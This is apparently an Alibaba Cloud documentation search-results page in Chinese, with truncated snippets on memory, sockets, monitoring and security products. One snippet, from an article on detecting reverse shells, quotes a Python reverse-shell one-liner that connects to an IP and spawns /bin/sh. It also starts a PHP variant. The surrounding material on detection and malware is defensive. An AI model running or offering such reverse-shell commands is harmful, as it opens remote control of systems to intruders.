内存诊断
共享内存 共享内存允许两个或更多进程访问同一块内存，是进程通信方式之一。tmpfs Linux临时文件系统，是一种基于内存的文件系统，读写的文件内容只存在内存中。hugetlb 基于文件系统的大页内存。内核内存 内核态内存重点关注Sunreclaim及...
TCP
'error' 当Socket通信过程中遇到错误时，触发 'error' 事件。'message' 事件回调函数的参数有：属性 类型 描述 data ArrayBuffer 接收到的TCP数据。datalen Number 接收到的TCP数据长度。'error' 事件的回调函数参数有：属性 类型 描述 ...
错误码
E40 套接字路径不存在 Enclave CLI在管理Enclave时会根据Enclave ID生成和Enclave管理进程通信的套接字路径，该错误码表示此套接字路径不存在，可能原因是Enclave管理进程运行异常，请查看报错回溯信息以获取更多细节。E41 Enclave管理进程...
什么是AI通信加速库Deepnccl
Deepnccl是为阿里云神龙异构产品开发的一种用于多GPU互联的AI通信加速库，在AI分布式训练或多卡推理任务中用于提升通信效率。本文主要介绍Deepnccl的架构、优化原理和性能说明。产品简介 Deepnccl基于NCCL（NVIDIA Collective ...
如何使用Prometheus监控Windows
本文介绍如何使用Prometheus监控Windows。前提条件 已将VPC实例接入 可观测监控 Prometheus 版。具体操作，请参见 Prometheus实例 for ECS。使用限制 目前仅Prometheus实例 for ECS类型实例支持该组件接入。Windows Metric监控参考模型 ...
如何使用Prometheus监控Windows
本文介绍如何使用Prometheus监控Windows。前提条件 已将VPC实例接入 可观测监控 Prometheus 版。具体操作，请参见 Prometheus实例 for ECS。使用限制 目前仅Prometheus实例 for ECS类型实例支持该组件接入。Windows Metric监控参考模型 ...
Multi-Master关键技术介绍
GTM Proxy可以通过共享内存和Backend进程通信，相比Tcp Loopback更高效，既可以减少内存拷贝，也没有Network Stack开销。每个GTM Proxy进程会和GTM Server建立一个网络连接，并会服务多个本地的Backend进程，将它们的GTM请求转发给GTM ...
什么是Deepytorch Training（训练加速）
多机CPU-Reduce：该优化继承了单机内CPU-Reduce高效的异步流水线，并将跨机Socket通信也设计为流水线形态，实现多机通信全过程流水化，有效减少通信延迟，提高整体训练性能。例如，在通信量较大的Transformer-based模型的多机训练场景下，...
功能使用
本文详细说明iOS端推流SDK接口、SDK的基本使用流程以及相关功能的使用示例。说明 如果您需要使用移动端进行推流，详细操作请参见 推流、拉流与播流。iOS推流SDK特性 支持RTMP推流协议。支持基于RTC的RTS超低延时直播推拉流协议。...
共享内存通信（SMC）使用说明
Alibaba Cloud Linux 3提供的共享内存通信SMC（Shared Memory Communication）是一种兼容socket层、使用共享内存技术实现的高性能内核网络协议栈。根据共享内存技术的不同，SMC又可以细分为基于Internal Shared Memory（ISM）技术的SMC ...
共享内存通信（SMC）使用说明
Alibaba Cloud Linux 3提供的共享内存通信SMC（Shared Memory Communication）是一种兼容socket层、使用共享内存技术实现的高性能内核网络协议栈。根据共享内存技术的不同，SMC又可以细分为基于Internal Shared Memory（ISM）技术的SMC ...
日志字段详情
hc_best_security hc_windows_2016 阿里云标准-Windows 2016/2019 安全基线检查。hc_best_security hc_db_mssql 阿里云标准-SQL Server安全基线检查。hc_best_security hc_memcached_ali 阿里云标准-Memcached安全基线检查。hc_best_...
设置Logtail启动参数
check_point_dump_interval":900 user_config_file_path String Logtail配置文件的保存路径，默认为进程binary所在目录，文件名为 user_log_config.json。建议Docker/Kubernetes用户参见 iLogtail容器重启数据可靠性探讨 进行配置，避免...
日志类别及字段说明
进程快照日志 aegis-snapshot-process 记录系统中进程活动的日志，包括进程ID、进程名称、进程启动时间等信息。通过记录和分析进程快照日志，您可以了解系统中进程的活动情况、资源占用情况，检测异常进程、CPU占用和内存泄露等问题。DNS...
Linux系统常用内核网络参数介绍与常见问题处理
虽然该连接已经处于半连接状态，但是已经无法和对端通信，需要及时地释放该连接。解决方案 建议您从业务层面及时判断某个连接是否已经被对端关闭，即在程序逻辑中对连接及时关闭，并进行检查。远程连接ECS实例。具体操作，请参见 连接方式...
Linux系统常用内核网络参数介绍与常见问题处理
虽然该连接已经处于半连接状态，但是已经无法和对端通信，需要及时地释放该连接。解决方案 建议您从业务层面及时判断某个连接是否已经被对端关闭，即在程序逻辑中对连接及时关闭，并进行检查。使用救援远程连接轻量应用服务器。具体操作，...
实例启动异常常见错误与对应解决方案
Windows 1662001135：Windows系统因异常进入恢复环境 问题现象 Windows系统ECS实例在较长时间段内正常运行，但是重启实例后无法进入操作系统。通过VNC登录实例时，Windows系统启动界面显示 系统恢复选项。问题原因 系统恢复选项 表示...
检查与修复CentOS 7实例和Windows实例IP地址缺失问题
正常情况下，Linux系统的dhclient进程和Windows系统的DHCP Client服务会定期向DHCP服务器更新租约到期时间，以确保实例IP地址的可用性。由于部分CentOS 7镜像（详见适用范围章节）创建的实例会小概率清理dhclient进程，以及Windows Server...
业务进程说明
本文以C Link SDK中的Demo文件./demos/tunnel_switch_demo.c 为例，介绍业务进程与远程登录进程隔离中业务进程的处理过程以及相关日志。业务进程处理流程图 操作步骤 初始化远程登录隧道开关模块。创建1个RA实例并内部初始化默认参数*/void...
恶意行为防御自定义规则最佳实践
说明 系统通过 IP、端口、网络通信的进程路径 字段判断，拦截进程网络。配置项 说明 规则名称 建议按误拦截告警规则命名，例如进程网络加白规则。规则类型 选择 进程网络。系统类型 根据实际系统类型选择，本示例选择 windows。进程路径 ...
远程登录进程说明
本文以C Link SDK中的Demo文件./demos/tunnel_basic_demo.c 为例，介绍业务进程与远程登录进程隔离中远程登录运维进程的处理过程以及相关日志。流程图 操作步骤 初始化。创建1个实例并内部初始化默认参数*/void*tunnel_handle=aiot_tunnel_...
版本说明
修复问题 解决Windows下进程监控Top5和进程内存超4GB时，只上报4GB监控数据的问题。解决域名解析卡死的问题（某些系统下域名解析超过20秒）。解决部分Prometheus指标解析失败的问题。解决日志采集占用大量CPU的问题。解决可用性监控如果...
工作负载推荐配置
如果有几个进程需要协同工作，在Kubernetes里也可以实现，例如：nginx和php-fpm，通过Unix domain socket通信，我们可以用一个包含两个容器的Pod，将Unix socket放在两个容器的共享Volume中。确保不存在SPOF（Single Point of Failure）...
修复漏洞CVE-2020-15257公告
kubectl get pods-A-o json|jq-c '.items[]|select(.spec.hostNetwork=true)|[.metadata.namespace,.metadata.name]' 漏洞描述 containerd和containerd-shim之间采用abstract socket通信，当容器共享了宿主机的网络namespace且容器内部UID...
Outlook软件报错代码对照表
0x800CCC15 SOCKET_CONNECT_ERROR 无法打开 Windows 套接字。0x800CCC16 INVALID_ACCOUNT 用户账户未识别。0x800CCC17 USER_CANCEL 用户取消了操作。0x800CCC18 SICILY_LOGON_FAILED 登录尝试失败。0x800CCC19 TIMEOUT 0x800CCC1A SECURE_...
客户端进程说明
安装云安全中心客户端后，客户端会在服务器中开启AliYunDun、AliYunDunMonitor等进程，以实现信息采集、威胁检测等能力。您可以通过查看进程状态，判断安全防护能力是否生效。本文提供云安全中心客户端文件和进程的详细说明。进程说明 云...
如何处理云服务器ECS内网流量增高问题？
nethogs eth0 Windows 说明 Windows Server 2008及以上的操作系统，您可以通过资源监视器查看占用内网带宽的进程。在云服务器ECS的任务栏上，单击鼠标右键，选择 任务管理器。在 任务管理器 的 进程 页签，查看占用内网带宽的进程。如果...
使用ACK Net Exporter定位网络问题
这属于tcpreset探针捕获的一种事件，表明有访问未知端口的报文被本地发送RST报文拒绝，拒绝的原因是没有根据报文找到相应的Socket。通常在NAT失效后会发生这个事件，例如IPVS定时器超时等原因发生后。pod/namespace：ACK Net Exporter根据...
Windows实例中带宽使用率较高问题的排查及解决方法
本文主要介绍Windows实例中带宽使用率较高问题的排查及解决方法。问题现象 Windows系统的ECS实例中带宽使用率较高。问题原因 带宽使用率较高可能有以下原因。您的正常应用业务访问频繁，占用较高带宽。恶意病毒、木马引起的网络流量。有时...
云安全中心反弹Shell多维检测技术详解
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",6060));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 案例三：php -r '$sock=fsockopen("10...
Lemon-duck在多个平台利用多种入侵方式如何一键防御
Killer是核心功能函数，Lemon-duck会遍历进程，通过匹配名单结束名单中的进程，例如 Windows_update、Windows Managers、Oracle Java Update等进程，同时会杀死其他挖矿程序进程诸如MinerGate、minerd、Carbon、javaupd等，还会通过netstat...
SDK同步与异步通信模式
例如嵌入式Linux、Windows系统，以及大部分配备LwIP协议栈通信的RTOS（FreeRTOS系统）等，都支持上层应用主动收取网络报文。在这些系统上，C Link SDK的网络应用软件，可以随时主动的调用类似 read()的函数接口，从已开启的 Socket 接口...
自适应扫描
由于自适应扫描线程与各个PX worker进程之间的通信数据很少，频率不高，所以重用了已有的QC进程与PX worker进程之间的libpq连接进行报文通信。自适应扫描线程通过poll的方式在需要时同步轮询PX Worker进程的请求和响应。扫描任务协调。PX ...
安全告警概述
云安全中心支持实时检测资产中的安全告警事件，覆盖网页防篡改、进程异常、网站后门、异常登录、恶意进程等安全告警类型。通过威胁检测模型，提供全面的安全告警类型检测，帮助您及时发现资产中的安全威胁、实时掌握资产的安全态势。背景...
DescribeCommonOverallConfigList-查询防御开关的配置
USER-ENABLE-SWITCH-TYPE_51226：Windows Powershell 执行可疑命令 USER-ENABLE-SWITCH-TYPE_52821：Windows 可疑进程启动 USER-ENABLE-SWITCH-TYPE_57242：Windows 恶意命令执行 USER-ENABLE-SWITCH-TYPE_57340：Windows 命令行下载运行...
BatchOperateCommonOverallConfig-批量修改防御开关的...
USER-ENABLE-SWITCH-TYPE_51226：Windows Powershell 执行可疑命令 USER-ENABLE-SWITCH-TYPE_52821：Windows 可疑进程启动 USER-ENABLE-SWITCH-TYPE_57242：Windows 恶意命令执行 USER-ENABLE-SWITCH-TYPE_57340：Windows 命令行下载运行...
无影云桌面客户端无法连接Windows云桌面的排查方法
问题描述 在本地PC端安装阿里云无影云桌面客户端后，连接Windows云桌面时提示“连接超时”，无法打开云桌面。问题原因 客户端无法连接云桌面，说明云桌面和后端组件无法正常通信，可能原因如下：云桌面的IP地址被修改 云桌面的网卡被禁用 ...
连接云电脑常见问题
连接Windows云电脑时出现报错，该怎么办？连接云电脑时，提示“已发布的资源当前不可用”或者“未知错误0”，怎么办？使用macOS客户端连接云电脑时，云电脑出现闪退现象，怎么办？升级无影终端并连接云电脑时，Linux Ubuntu云电脑闪退，...
OperateCommonOverallConfig-设置全局开关
USER-ENABLE-SWITCH-TYPE_51226：Windows Powershell 执行可疑命令 USER-ENABLE-SWITCH-TYPE_52821：Windows 可疑进程启动 USER-ENABLE-SWITCH-TYPE_57242：Windows 恶意命令执行 USER-ENABLE-SWITCH-TYPE_57340：Windows 命令行下载运行...
DescribeCommonTargetConfig-查询防御开关的配置
USER-ENABLE-SWITCH-TYPE_51232：Windows 系统进程执行高危操作 USER-ENABLE-SWITCH-TYPE_51233：Windows Java 服务执行高危操作 USER-ENABLE-SWITCH-TYPE_51234：Windows Office 组件执行高危操作 USER-ENABLE-SWITCH-TYPE_51235：Windows...
- 产品推荐
- 这些文档可能帮助您